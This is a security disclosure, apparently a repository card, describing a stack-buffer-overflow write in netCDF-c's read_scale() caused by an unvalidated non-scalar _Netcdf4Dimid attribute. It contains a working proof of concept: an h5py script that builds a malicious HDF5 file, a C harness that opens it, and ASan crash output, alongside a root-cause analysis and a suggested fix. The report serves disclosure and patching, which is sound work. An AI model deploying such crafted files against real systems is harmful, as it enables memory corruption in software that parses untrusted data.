YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Stack-buffer-overflow (WRITE) in netCDF-c read_scale via unvalidated element count of the hidden _Netcdf4Dimid attribute
Summary
When netCDF-4 opens an HDF5 file, read_scale() (libhdf5/hdf5open.c) reads the
hidden _Netcdf4Dimid attribute of an HDF5 dimension-scale dataset directly into
a single 4-byte stack int without ever checking that the attribute is a
scalar. An attacker who declares that attribute as an N-element int array
causes H5Aread to write N*4 bytes into the 4-byte stack slot, producing a
fully attacker-controlled stack-buffer-overflow (WRITE) that is triggered by
nothing more than nc_open().
- Target: netCDF-c
- Version tested: netCDF 4.10.1-wellspring, commit c91c55d, HDF5 support on
- Built: ASan debug
libnetcdfatnetcdf-c/build_hdf5_asan, linked to systemlibhdf5_serial1.14.6 - Sink:
libhdf5/hdf5open.cβread_scale() - Class: CWE-121 Stack-based Buffer Overflow (out-of-bounds WRITE), attacker-controlled content
- Trigger:
nc_open(path, NC_NOWRITE, &ncid)β no further API calls
Root cause
read_scale() reads the on-disk _Netcdf4Dimid attribute into a stack scalar:
/* libhdf5/hdf5open.c */
int assigned_id = -1; /* line 2466 β single 4-byte stack int */
...
if (attr_exists)
{
if ((attid = H5Aopen_by_name(datasetid,".", NC_DIMID_ATT_NAME,
H5P_DEFAULT, H5P_DEFAULT)) < 0)
BAIL(NC_EHDFERR);
if (H5Aread(attid, H5T_NATIVE_INT, &assigned_id) < 0) /* line 2481 β writes EVERY element */
BAIL(NC_EHDFERR);
/* Check if scale's dimid should impact the group's next dimid */
if (assigned_id >= grp->nc4_info->next_dimid)
grp->nc4_info->next_dimid = assigned_id + 1;
}
H5Aread copies every element of the attribute β converted to native int β
into the supplied buffer. The buffer here (&assigned_id) has room for exactly
one int. The code never queries the attribute's dataspace / point count
(H5Aget_space + H5Sget_simple_extent_npoints) to confirm npoints == 1. So
if the attribute's on-disk element count is N, HDF5 writes N*4 bytes onto the
stack, smashing the adjacent locals (new_dim, len, lenp,
dimscale_name_att) and the frame redzone with attacker-controlled data.
Real netCDF always writes _Netcdf4Dimid as an H5S_SCALAR single int
(see nc4hdf.c), so this is a classic case of the reader trusting an on-disk
element count that the file format lets an attacker fully control.
Reachability
The path is reached automatically during metadata scan of any dimension-scale dataset:
nc_open
-> NC4_open -> nc4_open_file
-> rec_read_metadata (hdf5open.c:2880)
-> read_hdf5_obj (hdf5open.c:2742)
-> read_dataset (hdf5open.c:2625) [H5DSis_scale() detects CLASS="DIMENSION_SCALE"]
-> read_scale (hdf5open.c:2456)
-> H5Aread(_Netcdf4Dimid) (hdf5open.c:2481) <== overflow
Distinction from the separately-reported read_coord_dimids / _Netcdf4Coordinates bug
This is a distinct finding:
| This report | read_coord_dimids report |
|
|---|---|---|
| Function | read_scale |
read_coord_dimids |
| Attribute | _Netcdf4Dimid |
_Netcdf4Coordinates |
| Sink | stack (int assigned_id) |
heap |
| Missing check | element COUNT not validated at all | validates COUNT but not element SIZE |
Different function, different attribute, different sink, and the opposite missing check. Not a duplicate.
Proof of Concept
Build the malicious file β mkpoc.py (h5py, libver="earliest")
import h5py, numpy as np
N = 1024 # 1024 int32 => 4096 bytes written into a 4-byte stack slot
def build(fname, dimid_data):
with h5py.File(fname, "w", libver="earliest") as f:
d = f.create_dataset("d", shape=(4,), dtype="float32")
d.make_scale("d") # CLASS="DIMENSION_SCALE"
d.attrs.create("_Netcdf4Dimid", data=dimid_data) # array, not scalar
build("poc_dimid.h5", np.arange(N, dtype="<i4") | 0x41414141)
# Negative control: proper scalar int32 (what real netCDF writes).
with h5py.File("neg_dimid.h5", "w", libver="earliest") as f:
d = f.create_dataset("d", shape=(4,), dtype="float32")
d.make_scale("d")
d.attrs.create("_Netcdf4Dimid", data=np.int32(0))
poc_dimid.h5 carries a _Netcdf4Dimid attribute of shape (1024,) int32
instead of a scalar.
Harness β h.c
#include <stdio.h>
#include "netcdf.h"
int main(int argc, char**argv){
int ncid; int st = nc_open(argv[1], NC_NOWRITE, &ncid);
printf("nc_open(%s) -> %d (%s)\n", argv[1], st, nc_strerror(st));
if(!st){ nc_close(ncid); printf("closed\n"); }
return 0;
}
During nc_open, read_scale -> H5Aread writes 1024*4 = 4096 bytes into the
4-byte assigned_id stack variable.
Captured evidence (verbatim, ASan)
==584546==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7bd0d23f0424 at pc 0x7fd0d5d21cc4 bp 0x7ffcf14d2200 sp 0x7ffcf14d19c0
WRITE of size 4096 at 0x7bd0d23f0424 thread T0
#0 0x7fd0d5d21cc3 in memcpy
#1 0x7fd0d5073d96 in H5A__read (libhdf5_serial.so.310+0x73d96)
#6 0x7fd0d506965f in H5Aread (libhdf5_serial.so.310+0x6965f)
#7 0x7fd0d59905e5 in read_scale /home/kali/.../netcdf-c/libhdf5/hdf5open.c:2481
#8 0x7fd0d59910c4 in read_dataset .../libhdf5/hdf5open.c:2625
#9 0x7fd0d59916c3 in read_hdf5_obj .../libhdf5/hdf5open.c:2742
#23 0x7fd0d5991fba in rec_read_metadata .../libhdf5/hdf5open.c:2880
#24 0x7fd0d598a017 in nc4_open_file .../libhdf5/hdf5open.c:981
#25 0x7fd0d598a357 in NC4_open .../libhdf5/hdf5open.c:1067
#27 0x7fd0d58d6160 in nc_open .../libdispatch/dfile.c:696
#28 0x55a112ebc29f in main .../poc/dimid_scale_bug/h.c:4
Address 0x7bd0d23f0424 is located in stack of thread T0 at offset 36 in frame
#0 0x7fd0d599027e in read_scale .../libhdf5/hdf5open.c:2456
This frame has 5 object(s):
[32, 36) 'assigned_id' (line 2466) <== target buffer (4 bytes) receiving 4096-byte write
[48, 56) 'new_dim' (line 2457) <== Memory access at offset 36 partially underflows this variable
[80, 88) 'len' (line 2538)
[112, 120) 'lenp' (line 2538)
[144, 401) 'dimscale_name_att' (line 2459)
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in H5A__read
==584546==ABORTING
Negative control
neg_dimid.h5 is byte-for-byte the same construction except _Netcdf4Dimid is a
scalar int32 β exactly what real netCDF writes:
nc_open(neg_dimid.h5) -> 0 (No error)
closed
No ASan error. This confirms the crash is caused specifically by the non-scalar (array) element count of the hidden attribute, not by anything else in the file.
Suggested fix
Before H5Aread, query the attribute's dataspace and reject a non-scalar
_Netcdf4Dimid (i.e. require H5Sget_simple_extent_npoints(space) == 1), or read
into a properly sized buffer bounded by that count. The same scalar-count
validation should be applied to every hidden netCDF attribute read into a
fixed-size stack/H5T_NATIVE_* buffer.
Dedup note
- No matching CVE for
read_scale/_Netcdf4Dimidat time of filing. - Distinct from the
read_coord_dimids/_Netcdf4Coordinatesheap finding (different function, attribute, sink, and missing check β see table above).
Files
mkpoc.pyβ buildspoc_dimid.h5andneg_dimid.h5h.cβ minimalnc_openharnesspoc_dimid.h5β malicious dimension scale,_Netcdf4Dimidshape(1024,)int32neg_dimid.h5β negative control, scalar_Netcdf4DimidASAN_dimid_scale_stack_overflow.txtβ full verbatim ASan report